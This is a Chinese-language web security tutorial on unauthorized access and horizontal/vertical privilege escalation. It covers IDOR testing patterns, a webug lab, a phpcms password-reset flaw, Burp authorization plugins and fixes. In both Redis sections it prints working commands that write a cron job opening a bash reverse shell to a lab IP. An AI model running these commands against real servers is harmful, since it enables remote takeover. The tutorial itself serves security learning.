[紅日安全]Web安全Day7 - 越權/非受權訪問實戰***

本文由紅日安全成員： misakikata 編寫，若有不當，還望斧正。

你們好，咱們是紅日安全-Web安全***小組。此項目是關於Web安全的系列文章分享，還包含一個HTB靶場供你們練習，咱們給這個項目起了一個名字叫 Web安全實戰 ，但願對想要學習Web安全的朋友們有所幫助。每一篇文章都是於基於漏洞簡介-漏洞原理-漏洞危害-測試方法（手工測試，工具測試）-靶場測試（分爲PHP靶場、JAVA靶場、Python靶場基本上三種靶場所有涵蓋）-實戰演練（主要選擇相應CMS或者是Vulnhub進行實戰演練)，若是對你們有幫助請Star鼓勵咱們創做更好文章。若是你願意加入咱們，一塊兒完善這個項目，歡迎經過郵件形式（sec-redclub@qq.com）聯繫咱們。

1.越權

1.1 漏洞簡介

未受權訪問，顧名思義不進行請求受權的狀況下對須要權限的功能進行訪問執行。一般是因爲認證頁面存在缺陷，無認證，安全配置不當致使。常見於服務端口，接口無限制開放，網頁功能經過連接無限制用戶訪問，低權限用戶越權訪問高權限功能。

何爲越權漏洞，通俗的理解爲用戶能夠操做超出本身管理權限範圍的功能，從而進行非通常用戶能夠操做的行爲。越權通常能夠分爲：垂直越權，水平越權。而在非用戶登錄模式下，任意用戶訪問特定地址或連接都可以訪問到須要用戶身份後才能夠訪問到的功能。越權也能夠看爲安全配置不當致使的未受權訪問。

1.2 漏洞原理

未受權訪問是系統對用戶限制不全，或者無限制，可讓任意用戶或者限制訪問用戶，能夠訪問到內部敏感信息，致使的信息泄露，以及系統功能的執行。越權漏洞的產生緣由是未對訪問功能作權限的效對，或者限制不全，致使對用戶的限制只侷限於某一個功能和操做上。

1.3 漏洞危害

未受權訪問一般是會泄露用戶信息，系統信息。某些服務和系統中，未受權訪問還能夠執行系統命令，操做系統文件，致使系統的總體安全遭到破壞。而越權能夠分爲水平越權和垂直越權。垂直越權漏洞會致使低權限用戶用來執行高權限用戶的功能，獲取高權限用戶的帳號信息，執行高權限用戶的操做功能。水平越權會致使同一層級間的用戶能夠互相訪問到對方的敏感信息，如保存的地址、手機號、訂單記錄。同時還可能會以其餘平級權限用戶的身份來執行某行功能，如購買，刪除，添加，修改等。

2. 漏洞測試方法

2.1 常見的未受權服務

2.1.1 redis未受權訪問

此問題在互聯網上曾經多數存在，redis默認開放6379端口，且對外開放。能夠經過此端口來執行命令寫入文件來反彈shell。

root@kali:~# redis-cli -h 192.168.63.130
192.168.63.130:6379> set x "\n* * * * * bash -i >& /dev/tcp/192.168.63.128/7999 0>&1\n"
OK
192.168.63.130:6379> config set dir /var/spool/cron/
OK
192.168.63.130:6379> config set dbfilename root
OK
192.168.63.130:6379> save
OK

2.1.2 Jenkins未受權訪問

默認狀況下Jenkins面板中用戶能夠選擇執行腳本界面來操做一些系統層命令，***者可經過未受權訪問漏洞或者暴力破解用戶密碼等進腳本執行界面從而獲取服務器權限。

http://www.secpulse.com:8080/manage
http://www.secpulse.com:8080/script

選擇腳本命令行能夠執行一些系統命令。

2.1.3 MongoDB未受權訪問

開啓MongoDB服務時不添加任何參數時,默認是沒有權限驗證的,並且能夠遠程訪問數據庫，登陸的用戶能夠經過默認端口無需密碼對數據庫進行增、刪、改、查等任意高危操做。

默認開啓在27017端口，新版早就默認綁定在本地，以前的老版本仍有一些在互聯網上開放在跑的端口。

2.1.4 Memcache未受權訪問

Memcached是一套經常使用的key-value緩存系統，因爲它自己沒有權限控制模塊，因此對公網開放的Memcache服務很容易被***者掃描發現，***者經過命令交互可直接讀取Memcached中的敏感信息。

默認開啓在11211端口，可使用端口鏈接工具或者命令，nc等，鏈接成功則存在。

關於未受權訪問的能夠查看：https://www.secpulse.com/archives/61101.html

2.2 基於用戶ID的越權

舉個例子：

https://www.xxx.com/user1/userinfo.php?user_id=user1
https://www.xxx.com/user1/userinfo.php?user_id=10001

咱們登錄某個系統後，看到某些功能上獲取信息的方式相似於上連接時，能夠初步判斷獲取信息的方式爲根據user_id來獲對應的用戶信息，若是參數爲用戶名，咱們能夠手機用戶名字典來枚舉信息，根據返回值判斷是否存在問題。固然若是枚舉較大，系統用戶數量又不是不少的狀況下，能夠嘗試註冊新用戶，利用新用戶的用戶名來測試是否能夠獲取到用戶信息。

若是參數爲一個固定的數字串時，遍歷數字串便可，這種狀況下是系統對每一個註冊用戶進行了一個用戶id的排序，在衆多的開源CMS上都有使用，固然這個字符串也有多是隨機，若是是隨機的，量不大的狀況下能夠採用遍歷的形式獲取，量較大能夠利用burp的隨機數爆破，或者一樣本身註冊帳戶來測試。

2.3 基於功能對象ID的越權

舉個例子：

https://www.xxx.com/user1/userticket.php?user_order=100001
https://www.xxx.com/user1/userticket.php?user_order=49ba59ab

此問題大量存在於用戶訂單、購買、查詢等功能的商家CMS上，例如以上地址，若是user_order是訂單編號，那麼咱們能夠嘗試遍歷訂單地址來查詢是否存在越權。若是編號並非單純的訂單數字串，而是相似如上的編碼字符串，相信本身的運氣的話能夠嘗試某些編碼的狀況，例如BASE6四、MD5。猜想不到，或者不能明顯的看出來是若是作的處理，註冊新帳號從新下單，會是簡單方便的選擇。

2.4 基於上傳文件對象ID的越權

舉個例子：

https://www.xxx.com/user1/userfile.php?fileid=10001
https://www.ccc.com/user1/userfile.php?fileid=user1_name.jpg

這種上傳文件後，能夠越權查看其餘用戶的上傳文件也是常常發現相似的問題。假設，系統要求咱們上傳我的的身份證，實名認證信息、購買的發票訂單等。若是上傳後看到相似如上地址，能夠猜想此上傳文件能夠遍歷獲取，同過查詢fileid來查看其餘用戶的上傳信息。若是上傳後文件名如第二種，可能此文件是系統通過重命名的，重命名的方式通常採用當前上傳的時間戳或者當前上傳的日期加隨機字段，這種狀況下枚舉較爲困難，但仍然能夠採用註冊新用戶的方式來查看是否存在越權。順便一問，若是是www.ccc.com獲取信息的方式，還可能會有什麼問題呢？

2.5 基於未受權訪問的越權

舉個例子：

https://www.xxx.com/user1/user.php?user=user1@user.com

在一些系統上登錄用戶後，能夠看到相似如上的地址連接，可能你會以爲這個跟問題1相似，可是也有可能多一張問題狀況，在非登錄的狀況下仍然能夠訪問到詳細信息。若是能夠，則證實後端對身份的效驗只是基於參數user，並無效驗用戶的session是否已登錄。此問題曾發現於一個系統後端支付訂單複覈的功能中，問題可想而知。

2.6 基於功能地址的越權

舉個例子：

https://www.xxx.com/user/getuserinfo.php

如上地址，正常狀況下，只訪問此後臺地址時，通常會跳轉到登錄地址，或者登錄後用來查看某個具體的功能，獲取數據的狀況根據訪問的連接地址來，理論上此功能並不存在越權可能，由於沒有咱們能夠修改的參數。可是對權限及功能的限制可能只侷限於用戶菜單的限制，根據經常使用連接，能夠猜想是否存在如下地址：

/getuserorder.php
/adduser.php
/deluser.php
/getalluser.php
/todetailpage.php
/ordercreate.php
......

由於在絕大部分系統中，開發爲了方便區別功能和頁面，一般會利用對應的英文來命名文件，但這些文件並非任意用戶均可以訪問到的，因此能夠猜想訪問地址是否英文的拼接來猜想路徑。對於此問題的快捷測試是獲取一個高權限帳號，固然對於未受權測試來講，很難實現。

2.7 基於接口身份的越權

舉個例子：

https://www.xxx.com/user/userinfo.php
post: {'userid':'10001','username':'name','userage':'18','usermobile':'18080808888'}

例如如上接口，修改用戶信息，當咱們點擊某個系統的修改自身資料時，會發送一個相似的json數據包，其中userid對應咱們本身的用戶id，修改後，能夠修改對應id的用戶資料。修改方式相似問題1。區別在於一個頁面可見，一個頁面不直觀可見，一個查詢，一個修改。須要配合其餘越權查詢漏洞，或者帳號來識別是否修改爲功。

3. 漏洞靶場測試

漏洞環境：phpstudy，webug4.0

靶場介紹：國產靶場，漏洞齊全，演示也至關完善。其中還分爲初，中，高。雖然高好像沒東西，但仍然是一個不錯的靶場環境。

漏洞演示：演示爲靶場的22號漏洞，越權修改密碼

靶場安裝：https://github.com/wangai3176/webug4.0，原本也給了一個vm的安裝環境，可是那個百度雲打不開了。就直接用文件本身安裝，也沒找到安裝教程，就摸索着以下安裝了。

把sql目錄中的文件安裝到數據庫，新建三個按照文件名的數據庫，導入數據文件，修改data目錄下的dbconfig和dbconn文件，修改成本身的數據庫帳號密碼和數據庫名。修改完成後建議把網站目錄修改成webug的目錄下。直接訪問本地地址便可。

另外須要修改/control/auth_cross/cross_auth_passwd.php文件下的一段代碼，否則跳轉到錯誤路徑：

header("Location:/pt_env/control/auth_cross/cross_auth_passwd2.php?id={$id}")
修改成：
header("Location:/control/auth_cross/cross_auth_passwd2.php?id={$id}")

點擊第一個越權修改密碼後進入以下頁面：

此處我打開了數據庫來對應查看修改密碼的狀況，打開webug數據庫下的user_test表，能夠看到其中有兩個用戶以下：

此處利用aaaaa用戶修改admin用戶密碼，利用aaaaa帳戶登錄後，看到以下界面

此處，咱們能夠先正常走一遍邏輯來查看其中的數據包狀況，把aaaaa的密碼修改成aaaaa，彈窗OK。而後查看抓取到的數據包。

其中有舊密碼和新密碼兩個參數，理論上若是效驗了舊密碼和帳號的一致性，就算連接中的id能夠修改越權也沒法修改密碼，會提示舊密碼不正確，但此處並無效驗舊密碼和帳號的一致性，致使修改連接中的2爲1，post參數不變，或者任意舊密碼值，即可以修改admin的密碼。

查看數據庫修改是否成功：

此處的問題存在兩點，一是修改的用戶身份由連接中的ID來決定，二是沒有對舊密碼和帳戶進行身份驗證。

4. 工具測試

對於越權類的安全問題，並無自動化測試工具來發現和識別，至少如今沒有發現哪裏有完善的越權檢測工具和掃描器。

此處介紹一款burp的越權插件，輔助檢測越權漏洞，可是隻能檢測基於功能的越權，並不能自動的檢測須要修改參數來判斷越權形式的漏洞。

在burp的Extender選項中選擇BApp Store選項卡，找到Authz插件，點擊install。安裝完成後選項卡中會出現一個Authz的新選項卡，界面以下：

此處須要兩個用戶身份，假設爲A用戶和B用戶，登錄A用戶的帳號，獲取Cookie到new header中，使用B帳號抓包獲取信息。到proxy中選擇須要測試的功能地址，右鍵到Send requests to Authz。

獲取夠須要測試的功能後，到Authz界面點擊run便可運行，此處沒有設置cookie，那麼將按照未受權訪問來測試。

其中，會在請求中替換咱們輸入的cookie值，如圖顯示，源請求的字節長度，請求的字節長度，源請求的響應碼，請求的響應碼，經過對響應的差異來查看是否存在越權漏洞。

能達到此檢測目的的還有一款插件AuthMatrix，也一樣能夠檢測越權，功能強勁，使用較Authz複雜，對於高要求，多用戶，須要對請求中的token等進行選擇替換的，可使用此插件。

介紹地址：https://github.com/portswigger/auth-matrix

5. CMS演示

5.1 前臺任意修改其餘用戶信息

漏洞環境：phpstudy，phpcms9.5.9

漏洞介紹：phpcms設計缺陷致使前臺用戶能夠任意修改其餘用戶密碼

漏洞下載：http://download.phpcms.cn/v9/9.5/phpcms_v9.5.9_UTF8.zip

解壓安裝到phpstudy，訪問後須要安裝，按照安裝要求，填入帳號密碼。等待安裝完成，將自動跳轉到後臺管理頁面。登錄後臺須要先添加郵箱認證，以下添加的騰訊郵箱。具體騰訊受權碼獲取方式能夠查看：https://service.mail.qq.com/cgi-bin/help?subtype=1&id=28&no=1001256

在用戶模塊中添加以下信息，新增兩個測試用戶，相似以下，須要其中一個能夠接收郵件。

在站點首頁點擊登錄處，若是跳轉到404安裝頁面，多是你沒有刪除install安裝目錄，刪除訪問index.php便可。選擇忘記密碼->用戶名找回密碼

點擊獲取郵箱效驗碼

返回上一步輸入想修改的用戶，以下test2

輸入以前的郵箱驗證碼提交

點擊後顯示密碼修改爲功爲如下：

嘗試使用新密碼登錄成功：

漏洞修復：此問題出現緣由在於驗證碼沒有跟帳號作綁定，驗證時只作了驗證碼是否有效的判斷。對於此類問題，頻繁出如今手機號驗證碼，郵箱驗證碼處，在最後執行修改時須要一同驗證，驗證碼和手機或者郵箱的對應關係。

5.2 redis未受權訪問

漏洞環境：Ubuntu，reids 3.2.0

漏洞介紹：Redis因配置不當能夠未受權訪問。***者無需認證訪問到內部數據，可致使敏感信息泄露，也能夠寫入文件來反彈shell

安裝以下：

wget http://download.redis.io/releases/redis-3.2.0.tar.gz
tar xzf redis-3.2.0.tar.gz
cd redis-3.2.0
make

修改配置文件

vi redis.conf
bind 127.0.0.1 加上#
protected-mode yes  改成no

在配置文件目錄下啓動

./src/redis-server redis.conf

啓動後顯示以下：

經過reids命令能夠查看基本信息

嘗試反彈shell到指定地址

set x "\n* * * * * bash -i >& /dev/tcp/192.168.30.79/2333 0>&1\n"
config set dir /var/spool/cron/
config set dbfilename root
save

或者採用gopher協議，直接利用curl一條命令執行

6. 漏洞修復

一、驗證須要從前端獲取的參數，好比用戶ID和角色權限名，對於須要根據前臺請求來返回數據的參數進行權限效驗。

二、對於固定返回信息可使用特定連接地址返回，同時採用不可預測地址，如：getuserinfo_snhx.php

三、對於須要修改、新增等功能進行判斷，根據當前seesion判斷用戶，參數中只傳輸修改的用戶信息。

四、區分用戶和管理員時，不採用某些相同的參數來區別。如dede區分管理和用戶都是採用ID值，容易產生問題。

五、對於查詢類越權須要對每一次請求的參數作當前用戶身份效驗，避免水平越權。